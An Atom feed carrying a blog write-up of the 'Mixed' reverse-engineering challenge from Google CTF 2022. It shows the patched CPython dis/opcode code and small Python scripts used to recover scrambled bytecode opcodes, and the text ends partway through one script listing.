<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

 <title>Jay Bosamiya</title>
 <link href="https://www.jaybosamiya.com/blog/atom.xml" rel="self"/>
 <link href="https://www.jaybosamiya.com/blog/"/>
 <updated>2026-03-01T04:09:50+00:00</updated>
 <id>https://www.jaybosamiya.com/</id>
 <author>
   <name>Jay Bosamiya</name>
   <email>jayb@alumni.cmu.edu</email>
 </author>

 
 <entry>
   <title>Mixed (Google CTF 2022)</title>
   <link href="https://www.jaybosamiya.com/blog/2022/08/05/mixed/"/>
   <updated>2022-08-05T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2022/08/05/mixed</id>
   <content type="html">&lt;p&gt;A byte-compiled Python file, with a patch to the cpython source
showing that the opcodes have been scrambled. Let&amp;#39;s go!&lt;/p&gt;

&lt;p&gt;Mixed was a really fun challenge from the recent Google CTF, that
&lt;a href=&quot;https://twitter.com/zaratec4&quot;&gt;zaratec&lt;/a&gt; and I worked on together, each
focusing on a different aspect. You can find &lt;a href=&quot;https://zaratec.io/googlectf2022-mixed/&quot;&gt;her write-up
here&lt;/a&gt;, which covers a lot
more about the pattern recognition side of things that I skim over.&lt;/p&gt;

&lt;h2&gt;Problem Description&lt;/h2&gt;

&lt;p&gt;We are given two files (&lt;a href=&quot;./x.pyc&quot;&gt;x.pyc&lt;/a&gt; and &lt;a href=&quot;./patch&quot;&gt;patch&lt;/a&gt;) and
the challenge description:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A company I interview for gave me a test to solve. I&amp;#39;d decompile it
and get the answer that way, but they seem to use some custom Python
version... At least I know it&amp;#39;s based on commit
64113a4ba801126028505c50a7383f3e9df29573.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;Early Analysis&lt;/h2&gt;

&lt;p&gt;Since we are told that it is a custom Python version and that existing
decompilers wouldn&amp;#39;t work, it is not worth spending time &lt;em&gt;early on&lt;/em&gt; to
get a decompiler working. Instead, we jumped right into understanding
the patch. As a tiny precursor to that, mostly to save some time since
it involves compiling Python from scratch, we set up a local
environment while still looking at the patch.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://github.com/python/cpython/tree/64113a4ba801126028505c50a7383f3e9df29573&quot;&gt;CPython source repository at the relevant
commit&lt;/a&gt;
shows that it is a fairly recently commit, Python 3.11 alpha 7. Also,
since we have to deal with a byte-compiled Python &lt;code&gt;.pyc&lt;/code&gt; file, which
is often version dependent, it&amp;#39;s best we get a nearby version (or
preferably the exact commit). Since it is faster to pull a nearby
version, I did that (using &lt;a href=&quot;https://github.com/pyenv/pyenv&quot;&gt;&lt;code&gt;pyenv&lt;/code&gt;&lt;/a&gt;:
&lt;code&gt;pyenv install 3.11.0b3&lt;/code&gt; and &lt;code&gt;pyenv local 3.11.0b3&lt;/code&gt;), and then kicked
off a compilation of the specific commit, after applying the
patch. Our aim here is to get &lt;em&gt;some&lt;/em&gt; reasonable environment set up
quickly, and refine it as time goes, if necessary.&lt;/p&gt;

&lt;p&gt;Looking at the patch itself, it patches just two files,
&lt;code&gt;Lib/opcode.py&lt;/code&gt;, and a tiny change to &lt;code&gt;Python/ceval.c&lt;/code&gt;, to disable an
optimization called &amp;quot;computed gotos&amp;quot;. We can largely ignore this
change to &lt;code&gt;ceval.c&lt;/code&gt; since it is not a functionality change (to keep
the optimization enabled, the challenge author would&amp;#39;ve needed to
patch more files, so our guess is that it was easier to just disable
the optimization; we do not believe this changes the challenge&amp;#39;s
difficulty though, other than reducing the size of the overall patch).&lt;/p&gt;

&lt;p&gt;Looking at the patch to &lt;code&gt;opcode.py&lt;/code&gt; itself, we see that it replaces
out the pre-defined opcode numbers for various opcodes with a random
permutation. This permutation is split into two parts: &lt;code&gt;perm&lt;/code&gt; permutes
the first 90 possible opcode values, while &lt;code&gt;perm2&lt;/code&gt; permutes amongst
the next 110. This split reduces the space of permutations possible,
simplifying the challenge, but (at least at the moment) not by
much. In particular, we are still not in brute-force-able
range. However, this separation of upto 90 vs. above 90 comes in handy
later on, to help provide sanity checks throughout the code.&lt;/p&gt;

&lt;p&gt;Why 90 in particular though? Looking at the source is helpful here:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;n&quot;&gt;HAVE_ARGUMENT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;90&lt;/span&gt;              &lt;span class=&quot;c&quot;&gt;# Opcodes from here have an argument:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The last bit of the patch stores the permuted opcodes away to
&lt;code&gt;/tmp/opcode_map&lt;/code&gt; but since we don&amp;#39;t have that, we can ignore it.&lt;/p&gt;

&lt;p&gt;Another good thing to check for before going much further: use the
command &lt;code&gt;strings&lt;/code&gt; which can find printable strings within a binary
file. A few selected interesting lines from running &lt;code&gt;strings x.pyc&lt;/code&gt;
are listed below:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;random
seedZ
randint
E/usr/local/google/home/xxxxxxxxx/yyyy/zzzzzzzzzzzzzzzz/xxxxxxxxxxx.py
Thanks for playing!r
game1.&amp;lt;locals&amp;gt;.w
Fuel:r
wasdz
Crash!r
Nice!)
game1r1
Math quiz time!)
difference
productr
ratio
remainder from division
What is the %s of %d and %d?r2
game2rD
Speed typing game.z
  Text: Because of its performance advantage, today many language implementations
%0.2f seconds left.
time
game3rO
Nz!Pass 3 tests to prove your worth!z
seed:
:zGYou can drive to work, know some maths and can type fast. You&amp;#39;re hired!z
Your sign-on bonus:s2
decoder
mainrR
&amp;lt;module&amp;gt;rS
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;From just these few lines, we can gather that there are 3 games
(&amp;quot;drive to work&amp;quot;, &amp;quot;know some maths&amp;quot;, and &amp;quot;type fast&amp;quot;), that they&amp;#39;re
likely defined as functions &lt;code&gt;game1&lt;/code&gt;, &lt;code&gt;game2&lt;/code&gt;, and &lt;code&gt;game3&lt;/code&gt;
respectively, and that there is a function &lt;code&gt;main&lt;/code&gt; that runs those 3,
and potentially runs a &amp;quot;decoder&amp;quot;. We also see indications that there
might be the use of the Python standard library
&lt;a href=&quot;https://docs.python.org/3/library/random.html#random.seed&quot;&gt;&lt;code&gt;random.seed&lt;/code&gt;&lt;/a&gt;,
which indicates that the built in pseudo random number generator
(PRNG) is used, but that it likely has the same output each time
(since we don&amp;#39;t see a &lt;code&gt;os.urandom&lt;/code&gt; or &lt;code&gt;time.time&lt;/code&gt; or similar nearby).&lt;/p&gt;

&lt;h2&gt;Divide and Conquer&lt;/h2&gt;

&lt;p&gt;We now had an approximate idea of what the challenge involved, and
what we might need to do to figure it out. Specifically, as soon as we
were able to recover what opcode number each operation was mapped to,
we would be able to run the binary (modulo a tiny patch to CPython,
replacing the random permutation in the patch with instead a
hard-coded set of values). We weren&amp;#39;t sure however, if being able to
run the binary would be sufficient, so we would likely need a
decompiler, or at the very least, a disassembler. Thus, there were two
main tasks: identify opcodes, and implement a disassembler.&lt;/p&gt;

&lt;p&gt;Thus, zaratec and I took up those tasks respectively. Her task of
identifying opcodes through &lt;s&gt;witchcraft&lt;/s&gt; pattern recognition and
smart guessing is probably best understood by this wonderful sentence
she wrote: &amp;quot;you just gotta feel the bytecode&amp;quot;. I personally focused on
tooling, specifically to try to make her task easier, and hopefully be
able to decompile this &lt;code&gt;x.pyc&lt;/code&gt;. This allowed each of us to focus on
complementary tasks but still allowed us to work largely
independently.&lt;/p&gt;

&lt;p&gt;It is also interesting to note here, that we don&amp;#39;t need a full-blown
decompiler, we just needed to decompile &lt;code&gt;x.pyc&lt;/code&gt;. This allows for a
simpler approach of generating a particular &lt;code&gt;x.py&lt;/code&gt; such that it
compiles &lt;em&gt;approximately&lt;/em&gt; to &lt;code&gt;x.pyc&lt;/code&gt; (using, say, &lt;code&gt;python3 -m
compileall x.py&lt;/code&gt;). Thus, a large part of pattern recognition involved
compiling progressively improved test files, and checking against the
output.&lt;/p&gt;

&lt;h2&gt;The Unfortunate &lt;code&gt;dis&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;Python has an built-in disassembler called
&lt;a href=&quot;https://docs.python.org/3.11/library/dis.html&quot;&gt;&lt;code&gt;dis&lt;/code&gt;&lt;/a&gt;. Given a code
object, it will disassemble it to produce, for lack of a better term,
Pythonic-assembly. Unfortunately, we do not have known values for the
opcodes, so it is almost guaranteed to produce garbage early
on. However, our aim is to improve upon &lt;code&gt;dis&lt;/code&gt;, by using the guesses
for opcode values we provide, to produce &lt;code&gt;x.pyc&lt;/code&gt; disassembly of
high-enough quality that we can then match it against the
compiled-and-disassembled version of our test Python file.&lt;/p&gt;

&lt;p&gt;It seemed like &lt;code&gt;dis&lt;/code&gt; would be an ideal starting point to write a
disassembler that worked and got us past the finish line. Yet it
turned out to be more annoying than I had initially guessed for a
variety of reason, so &lt;em&gt;eventually&lt;/em&gt; I decided to abandon this approach,
and write my own custom disassembler from scratch. But I&amp;#39;m getting
ahead of myself, let&amp;#39;s talk more about the &lt;code&gt;dis&lt;/code&gt;-based disassembler.&lt;/p&gt;

&lt;p&gt;Sidenote: by default, the &lt;code&gt;dis&lt;/code&gt; link you get from a search engine
points at 3.10, as of writing (since 3.11 has not yet released). We
need 3.11 though, which we can get to by clicking on the version
number in the top left; the link here jumps directly to 3.11. We did
not realize this early enough, but there are significant changes
between 3.10 and 3.11, and noticing this earlier would&amp;#39;ve helped speed
up some of our work. We weren&amp;#39;t slowed too much by the differences
though, thankfully, and we figured out the differences just when they
started to matter.&lt;/p&gt;

&lt;h3&gt;Initial Wins&lt;/h3&gt;

&lt;p&gt;While I was still working on getting &lt;code&gt;dis&lt;/code&gt; running, zaratec seemed to
have already started recognizing some patterns by staring at a
hexdump, and sent over the following:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;guesses:&lt;br /&gt;
* &lt;code&gt;96 (0x60)&lt;/code&gt;: &lt;code&gt;LOAD_CONST&lt;/code&gt;&lt;br /&gt;
* &lt;code&gt;171 (0xAB)&lt;/code&gt;: &lt;code&gt;IMPORT_NAME&lt;/code&gt;&lt;br /&gt;
* &lt;code&gt;150 (0x96)&lt;/code&gt;: &lt;code&gt;STORE_NAME&lt;/code&gt;&lt;br /&gt;
this is the pattern for imports at the beginning of the file&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Recognizing that looking at the opcodes in the output would be
crucial, and also that we&amp;#39;d likely want to be able to quickly test
changes, I wrote up a patch to &lt;code&gt;dis.py&lt;/code&gt; and (the aforementioned)
&lt;code&gt;opcode.py&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-diff&quot; data-lang=&quot;diff&quot;&gt;&lt;span class=&quot;gh&quot;&gt;diff --git a/Lib/dis.py b/Lib/dis.py&lt;/span&gt;
&lt;span class=&quot;gh&quot;&gt;index 205e9d8d19..aabaf37183 100644&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;--- a/Lib/dis.py&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+++ b/Lib/dis.py&lt;/span&gt;
&lt;span class=&quot;gu&quot;&gt;@@ -310,6 +310,8 @@ def _disassemble(self, lineno_width=3, mark_as_current=False, offset_width=4):&lt;/span&gt;
             fields.append(&amp;#39;  &amp;#39;)
         # Column: Instruction offset from start of code sequence
         fields.append(repr(self.offset).rjust(offset_width))
&lt;span class=&quot;gi&quot;&gt;+        # Column: Opcode number&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        fields.append(str(self.opcode).rjust(5))&lt;/span&gt;
         # Column: Opcode name
         fields.append(self.opname.ljust(_OPNAME_WIDTH))
         # Column: Opcode argument
&lt;span class=&quot;gh&quot;&gt;diff --git a/Lib/opcode.py b/Lib/opcode.py&lt;/span&gt;
&lt;span class=&quot;gh&quot;&gt;index 40b6fdd2e0..01ab16a5b7 100644&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;--- a/Lib/opcode.py&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+++ b/Lib/opcode.py&lt;/span&gt;
&lt;span class=&quot;gu&quot;&gt;@@ -61,10 +61,23 @@ def jabs_op(name, op, entries=0):&lt;/span&gt;
 perm2 = list(range(200-90))

 import sys
&lt;span class=&quot;gd&quot;&gt;-if &amp;quot;generate_opcode_h&amp;quot; in sys.argv[0]:&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;-  random = __import__(&amp;quot;random&amp;quot;)&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;-  random.shuffle(perm)&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;-  random.shuffle(perm2)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+import os&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+if os.getenv(&amp;quot;RANDOMIZE&amp;quot;):&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    print(&amp;quot;randomizing now&amp;quot;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    random = __import__(&amp;quot;random&amp;quot;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    random.shuffle(perm)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    random.shuffle(perm2)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+elif os.getenv(&amp;quot;FROMFILE&amp;quot;):&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    print(&amp;quot;reading from file&amp;quot;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    with open(&amp;#39;./opcode_map&amp;#39;) as f:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        data = [int(x.split(&amp;#39; &amp;#39;)[0]) for x in f.read().strip().split(&amp;#39;\n&amp;#39;)]&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        perm = data[:len(perm)]&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        perm2 = [x - 90 for x in data[len(perm):][:len(perm2)]]&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        assert len(perm) == len(range(90))&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        assert len(perm2) == len(range(200 - 90))&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        del data&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+else:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    print(&amp;quot;not randomizing&amp;quot;)&lt;/span&gt;

 def_op(&amp;#39;CACHE&amp;#39;, perm[0])
 def_op(&amp;#39;POP_TOP&amp;#39;, perm[1])
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This patch would allow us to use a hand-written &lt;code&gt;./opcode_map&lt;/code&gt; file
(literally a map from numbers to opcode names) by invoking
&lt;code&gt;FROM_FILE=1 ./cpython/python.exe ./disassembly.py ./x.pyc&lt;/code&gt;, using
&lt;code&gt;disassembly.py&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;dis&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;marshal&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seek&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;marshal&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;co_code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;dis&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This already started giving us a more readable (albeit incorrect) view
on the data we were seeing.&lt;/p&gt;

&lt;p&gt;Soon after, zaratec recognized that &lt;code&gt;x.pyc&lt;/code&gt; would load 3 modules,
create 7 functions.&lt;/p&gt;

&lt;p&gt;We were making nice progress!&lt;/p&gt;

&lt;h3&gt;Managing Guesses&lt;/h3&gt;

&lt;p&gt;As I got new guesses, I would manually edit the &lt;code&gt;./opcode_map&lt;/code&gt; file I
mentioned earlier, but this was inefficient, so I whipped up a small
tool, &lt;code&gt;set.py&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;time&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;./opcode_map.bak&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;known&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;97&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;RESUME&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;96&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;LOAD_CONST&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;171&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;IMPORT_NAME&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;151&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;STORE_NAME&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;MAKE_FUNCTION&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;RETURN_VALUE&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opnum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opcode&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;known&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;opnum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;idx_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;idx_op&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opnum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idx_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idx_op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idx_op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idx_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

